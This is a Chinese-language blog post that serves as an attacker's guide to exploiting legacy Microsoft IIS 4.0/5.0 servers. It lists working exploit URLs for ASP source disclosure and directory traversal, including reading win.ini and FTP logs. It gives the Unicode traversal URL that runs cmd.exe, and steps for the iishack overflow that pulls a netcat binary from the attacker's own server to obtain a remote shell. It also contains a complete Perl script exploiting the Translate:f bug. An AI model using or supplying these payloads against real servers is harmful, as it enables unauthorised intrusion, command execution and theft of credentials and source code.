1.介紹
  這裡介紹的方法主要通過端口80來完成操作,具有很大的威脅性,因為作為網絡服務器80端口總要打開的。如果想方便一些,下載一些WWW、CGI掃瞄器來輔助檢查。
  而且要知道目標機器運行的是何種服務程序,你可以使用以下命令:
  telnet 《目標機》 80
  GET HEAD / HTTP/1.0
  就可以返回一些域名和WEB服務程序版本,如果有些服務器把WEB服務運行在8080,81,8000,8001口,你就TELNET相應的口上。
  2.常見漏洞
  (1)、Null.htw
  IIS如果運行了Index Server就包含了一個通過Null.htw有關的漏洞,即服務器上不存在此.htw結尾的文件。這個漏洞會導致顯示ASP腳本的源代碼, global.asa裡面包含了用戶帳戶等敏感信息。如果攻擊者提供特殊的URL請求給IIS就可以跳出虛擬目錄的限制,進行邏輯分區和ROOT目錄的訪問。而這個"hit-highlighting"功能在Index Server中沒有充分防止各種類型文件的請求,所以導致攻擊者訪問服務器上的任意文件。Null.htw功能可以從用戶輸入中獲得3個變量:
  CiWebhitsfile
  CiRestriction
  CiHiliteType
  你可通過下列方法傳遞變量來獲得如default.asp的源代碼:
  http://www.目標機.com/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一個合法的.htw文件是因為虛擬文件已經存儲在內存中了。
(2)、MDAC- 執行本地命令漏洞
  這個漏洞出現得比較早,但在全球範圍內,可能還有好多IIS WEB服務器存在這個漏洞,就像在今天,還有很多人在用Windows3.2一樣。IIS的MDAC組件存在一個漏洞,可以導致攻擊者遠程執行目標系統的命令。主要核心問題是存在於RDSDatafactory,默認情況下,它允許遠程命令發送到IIS服務器中,這命令會以設備用戶的身份運行,在默認情況下是SYSTEM用戶。我們可以通過以下辦法測試本機是否存在這個漏洞:
  c:\》nc -nw -w 2 《目標機》 80
  GET /msadc/msadcs.dll HTTP
  如果你得到下面的信息:
  application/x_varg
  就很有可能存在此漏洞且沒有打上補丁,你可以使用rain forest puppy網站的兩個程序進行測(www.wiretrip.net/rfp)==》mdac.pl和msadc2.pl。
  (3)、ASP Dot Bug
  這個漏洞出現得比較早了,是Lopht小組在1997年發現的缺陷,這個漏洞也是洩露ASP源代碼給攻擊者,一般在IIS3.0上存在此漏洞,在請求的URL結尾追加一個或者多個點導致洩露ASP源代碼。http://www.目標機.com/sample.asp.
  (4)、idc & .ida Bugs
  這個漏洞實際上類似ASP dot 漏洞,其能在IIS4.0上顯示其WEB目錄信息,很奇怪有些人還在IIS5.0上發現過此類漏洞,通過增加?idc?或者?ida?後綴到URL會導致IIS嘗試允許通過數據庫連接程序.DLL來運行.IDC,如果此.idc不存在,它就返回一些信息給客戶端。
  http://www.目標機.com/anything.idc 或者 anything.idq
  (5)、+.htr Bug
  這個漏洞是由NSFOCUS發現的,對有些ASA和ASP追加+.htr的URL請求就會導致文件源代碼的洩露:
http://www.目標機.com/global.asa+.htr
  (6)、NT Site Server Adsamples 漏洞
  通過請求site.csc,一般保存在/adsamples/config/site.csc中,攻擊者可能獲得一些如數據庫中的DSN,UID和PASS的一些信息,如:
  http://www.目標機.com/adsamples/config/site.csc
  (7)、IIS HACK
  有人發現了一個IIS4.0的緩衝溢出漏洞,可以允許用戶上載程序,如上載netcat到目標服務器,並把cmd.exe綁定到80端口。這個緩衝溢出主要存在於.htr,.idc和.stm文件中,其對關於這些文件的URL請求沒有對名字進行充分的邊界檢查,導致運行攻擊者插入一些後門程序在系統中下載和執行程序。要檢測這樣的站點你需要兩個文件iishack.exe,ncx.exe,你可以到站點www.technotronic.com中去下載,另外你還需要一台自己的WEB服務器,也可以是虛擬服務器哦。你現在你自己的WEB服務器上運行WEB服務程序並把ncx.exe放到你自己相應的目錄下,然後使用iishack.exe來檢查目標機器:
  c:\》iishack.exe 《目標機》 80 《你的WEB服務器》/ncx.exe
然後你就使用netcat來連接你要檢測的服務器:
  c:\》nc 《目標機》 80
  如果溢出點正確,你就可以看到目標機器的命令行提示,並且是遠程管理權限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附帶的看文件的程序,但不是默認安裝的,這個查看器是在管理員允許查看樣例文件作為聯繫的情況下安裝的。但是,這個查看器並沒有很好地限制所訪問的文件,遠程攻擊者可以利用這個漏洞來查看目標機器上的任意文件內容,但要注意以下幾點:
  1.Codebrws.asp 和 Showcode.asp默認情況下不安裝。
  2.漏洞僅允許查看文件內容。
  3.這個漏洞不能繞過WINDOWS NT的ACL控制列表的限制。
  4.只允許同一分區下的文件可以被查看(所以把IIS目錄和WINNT分區安裝是個不錯的方案,這樣也可能比較好的防止最新的IIS5.0的unicode漏洞).
  5.攻擊者需要知道請求的文件名。
  例如你發現存在這個文件並符合上面的要求,你可以請求如下的命令:
  http://www.目標機.com/iisamples/exair/howitworks/codebrws.asp?source=/
iisamples/exair/howitworks/codebrws.asp
  你就可以查看到codebrws.asp的源代碼了。
  你也可以使用showcode.asp來查看文件:
  http://www.目標機.com/msadc/samples/selector/showcode.asp?
source=/msadc/../../../../../winnt/win.ini
  當然你也可以查看一些FTP信息來獲得其他的目標管理員經常使用的機器,或許其他的機器的安全性比WEB服務器差,如:http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?
source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
  (8)、webhits.dll & .htw
  這個hit-highligting功能是由Index Server提供的允許一個WEB用戶在文檔上highlighted(突出)其原始搜索的條目,這個文檔的名字通過變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個ISAPI應用程序來處理請求,打開文件並返回結果,當用戶控制了CiWebhitsfile參數傳遞給.htw時,他們就可以請求任意文件,結果就是導致可以查看ASP源碼和其他腳本文件內容。要瞭解你是否存在這個漏洞,你可以請求如下條目:
http://www.目標機.com/nosuchfile.htw
  如果你從服務器端獲得如下信息:
  format of the QUERY_STRING is invalid
  這就表示你存在這個漏洞。
 這個問題主要就是webhits.dll關聯了.htw文件的映射,所以你只要取消這個映射就能避免這個漏洞,你可以在你認為有漏洞的系統中搜索.htw文件,一般會發現如下的程序:  
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (這個一般為loopback使用)

  攻擊者可以使用如下的方法來訪問系統中文件的內容:
  http://www.目標機.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
  就會在有此漏洞系統中win.ini文件的內容。
  (9)、ASP Alternate Data Streams(::$DATA)
  $DATA這個漏洞是在1998年中期公佈的,$DATA是在NTFS文件系統中存儲在文件裡面的main data stream屬性,通過建立一個特殊格式的URL,就可能使用IIS在瀏覽器中訪問這個data stream(數據流),這樣做也就顯示了文件代碼中這些data stream(數據流)和任何文件所包含的數據代碼。
  其中這個漏洞需要下面的幾個限制,一個是要顯示的這個文件需要保存在NTFS文件分區(幸好為了"安全"好多服務器設置了NTFS格式),第二是文件需要被ACL設置為全局可讀。而且未授權用戶需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此問題。微軟提供了一個IIS3.0和4.0的版本補丁,要查看一些.asp文件的內容,你可以請求如下的URL:
  http://www.目標機.com/default.asp::$DATA 你就得到了源代碼。你要瞭解下NTFS文件系統中的數據流問題,你或許可以看看這文章:
  http://focus.silversand.net/newsite/skill/ntfs.txt
  (10)、ISM.DLL 緩衝截斷漏洞
  這個漏洞存在於IIS4.0和5.0中,允許攻擊者查看任意文件內容和源代碼。通過在文件 名後面追加近230個+或者?%20?(這些表示空格)並追加?.htr?的特殊請求給IIS,會使IIS認為客戶端請求的是?.htr?文件,而.htr文件的後綴映射到ISM.DLL ISAPI應用程序,這樣IIS就把這個.htr請求轉交給這個DLL文件,然後ISM.DLL程序把傳遞過來的文件打開和執行,但在ISM.DLL 截斷信息之前,緩衝區發送一個斷開的 .Htr 並會延遲一段時間來返回一些你要打開的文件內容。可是要注意,除非 WEB 服務停止並重啟過,否則這攻擊只能有效執行一次。如果已經發送過一個 .htr 請求到機器上,那麼這攻擊會失效.它只能在 ISM.DLL 第一次裝入內存時工作。
  http://www.目標機.com/global.asa%20%20(...《=230)global.asa.htr
  (11)、存在的一些暴力破解威脅.htr程序
 IIS4.0中包含一個嚴重漏洞就是允許遠程用戶攻擊WEB服務器上的用戶帳號,就是你的WEB服務器是通過NAT來轉換地址的,還可以被攻擊。每個IIS4.0安裝的時候建立一個虛擬目錄/iisadmpwd,這個目錄包含多個.htr文件,匿名用戶允許訪問這些文件,這些文件剛好沒有規定只限制在loopback addr(127.0.0.1),請求這些文件就跳出對話框讓你通過WEB來修改用戶的帳號和密碼。這個目錄物理映射在下面的目錄下:
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr

  這樣,攻擊者可以通過暴力來猜測你的密碼。如果你沒有使用這個服務,請立即刪除這個目錄。
  (12)、Translate:f Bug
  這個漏洞發佈於2000年8月15號(www.securityfocus.com/bid/1578),其問題是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,當有人請求一個ASP/ASA後者其他任意腳本的時候在HTTP GET加上Translate:f後綴,並在請求文件後面加/就會顯示文件代碼,當然在沒有打WIN2K SP1補丁為前提。這個是W2K的漏洞,但由於FP2000也安裝在IIS4.0上,因此在IIS4.0上也有這個漏洞,你可而已使用下面的腳本來利用這個漏洞:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV 《 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, "》$server.txt");
print "Dumping $cm to $server.txt \n";
while(《SOCK》) {
print OUT 《SOCK》;
}
sub howto {
print "type as follows: Trans.pl www.目標機.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}

  你可以使用下面的方法來獲得源代碼:Trasn.pl www.目標機.com default.asp
  (13)、IIS存在的Unicode解析錯誤漏洞
  NSFOCUS安全小組發現微軟IIS 4.0和IIS 5.0在Unicode字符解碼的實現中存在一個安全漏洞,導致用戶可以遠程通過IIS執行任意命令。當IIS打開文件時,如果該文件名包含unicode字符,它會對其進行解碼,如果用戶提供一些特殊的編碼,將導致IIS錯誤的打開或者執行某些web根目錄以外的文件。
  你可以使用下面的方法利用這個漏洞:
  (1) 如果系統包含某個可執行目錄,就可能執行任意系統命令。下面的URL可能列出當前目錄的內容:
  http://www.目標機.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  (2) 利用這個漏洞查看系統文件內容也是可能的:
  http://www.目標機.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

  這個漏洞是針對中文操作平台,你也可以使用"%c0%af"或者"%c1%9c"來測試英文版本,原因就是編碼不同。

    全站熱搜

    Neo Chao 發表在 痞客邦 留言(0) 人氣()